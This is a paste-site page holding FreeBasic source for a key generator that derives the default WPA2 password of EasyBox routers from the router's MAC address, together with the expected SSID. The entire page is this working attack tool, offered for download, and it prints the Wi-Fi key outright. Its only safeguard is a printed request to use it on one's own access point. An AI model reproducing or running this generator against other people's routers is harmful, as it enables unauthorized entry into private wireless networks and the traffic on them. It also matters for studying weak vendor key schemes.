easybox keygen - FreeBasic Source

SUBMITTED BY: Guest

DATE: Dec. 3, 2013, 1:21 p.m.

FORMAT: Text only

SIZE: 2.9 kB

Raw Download

HITS: 824

Report
  1. Function DeHex(ByVal V_Hex As String) As Integer
  2. Dim X as Integer
  3. Dim L as Integer
  4. Dim D As Integer
  5. Dim T as Byte
  6. Dim V As Byte
  7. V_Hex = UCase(V_Hex)
  8. L = Len(V_Hex)
  9. For X = 1 To L
  10. T = asc(Mid(V_Hex, X, 1))
  11. Select Case T
  12. Case 65 to 70: V = T - 55
  13. Case Else: V = Val(chr(T))
  14. End Select
  15. D += V * 16 ^ (L - X)
  16. Next
  17. Return D
  18. End Function
  20. Dim MAC as String
  21. Dim AS Integer M1, M2, M3, M4, M5, M6, M7, M8, M9, M10, M11, M12
  22. Dim AS Integer K1, K2
  23. Dim AS Integer S6, S7, S8, S9, S10
  24. Dim AS Integer X1, X2, X3, Y1, Y2, Y3, Z1, Z2, Z3
  25. Dim SMAC AS Integer
  26. Dim Key AS String
  28. Print "EasyBox KeyGen for Standart WPA2-Password"
  29. Print "By Sebastian Petters"
  30. Print "http://www.wotan.cc"
  31. Print ""
  32. Print "Use this only on your own AccessPoint!"
  33. Print ""
  34. Print "Enter MAC-Adress in following format: 01234567890A"
  36. Input "MAC: ", MAC
  38. M1 = DeHex(MID(MAC, 1, 1))
  39. M2 = DeHex(MID(MAC, 2, 1))
  40. M3 = DeHex(MID(MAC, 3, 1))
  41. M4 = DeHex(MID(MAC, 4, 1))
  42. M5 = DeHex(MID(MAC, 5, 1))
  43. M6 = DeHex(MID(MAC, 6, 1))
  44. M7 = DeHex(MID(MAC, 7, 1))
  45. M8 = DeHex(MID(MAC, 8, 1))
  46. M9 = DeHex(MID(MAC, 9, 1))
  47. M10 = DeHex(MID(MAC, 10, 1))
  48. M11 = DeHex(MID(MAC, 11, 1))
  49. M12 = DeHex(MID(MAC, 12, 1))
  51. SMAC = DeHex(Hex(M9) & Hex(M10) & Hex(M11) & Hex(M12))
  53. Print "SMAC: " & SMAC
  55. If Len(Str(SMAC)) = 5 Then
  56. S6 = Val(Mid(Str(SMAC), 1, 1))
  57. S7 = Val(Mid(Str(SMAC), 2, 1))
  58. S8 = Val(Mid(Str(SMAC), 3, 1))
  59. S9 = Val(Mid(Str(SMAC), 4, 1))
  60. S10 = Val(Mid(Str(SMAC), 5, 1))
  61. ElseIf Len(Str(SMAC)) = 4 Then
  62. S6 = 0
  63. S7 = Val(Mid(Str(SMAC), 1, 1))
  64. S8 = Val(Mid(Str(SMAC), 2, 1))
  65. S9 = Val(Mid(Str(SMAC), 3, 1))
  66. S10 = Val(Mid(Str(SMAC), 4, 1))
  67. ElseIf Len(Str(SMAC)) = 3 Then
  68. S6 = 0
  69. S7 = 0
  70. S8 = Val(Mid(Str(SMAC), 1, 1))
  71. S9 = Val(Mid(Str(SMAC), 2, 1))
  72. S10 = Val(Mid(Str(SMAC), 3, 1))
  73. ElseIf Len(Str(SMAC)) = 2 Then
  74. S6 = 0
  75. S7 = 0
  76. S8 = 0
  77. S9 = Val(Mid(Str(SMAC), 1, 1))
  78. S10 = Val(Mid(Str(SMAC), 2, 1))
  79. ElseIf Len(Str(SMAC)) = 1 Then
  80. S6 = 0
  81. S7 = 0
  82. S8 = 0
  83. S9 = 0
  84. S10 = Val(Mid(Str(SMAC), 1, 1))
  85. End If
  87. Print "SSID: EasyBox-" & Hex(M7) & Hex(M8) & Hex(M9) & Hex(M10) & S6 & S10
  89. K1 = S7 + S8 + M11 + M12
  90. K2 = M9 + M10 + S9 + S10
  91. K1 = DeHex(Mid(Hex(K1), Len(Hex(K1)), 1))
  92. K2 = DeHex(Mid(Hex(K2), Len(Hex(K2)), 1))
  94. Print "K1: " & Hex(K1)
  95. Print "K2: " & Hex(K2)
  97. X1=K1 XOR S10
  98. X2=K1 XOR S9
  99. X3=K1 XOR S8
  101. Y1=K2 XOR M10
  102. Y2=K2 XOR M11
  103. Y3=K2 XOR M12
  105. Z1=M11 XOR S10
  106. Z2=M12 XOR S9
  107. Z3=K1 XOR K2
  109. ' X1 Y1 Z1 X2 Y2 Z2 X3 Y3 Z3
  111. Key = Hex(X1) & Hex(Y1) & Hex(Z1) & Hex(X2) & Hex(Y2) & Hex(Z2) & Hex(X3) & Hex(Y3) & Hex(Z3)
  112. Print "WPA-Key: " & Key
  113. Print ""
  114. Input "Press Enter to quit", Key
comments powered by Disqus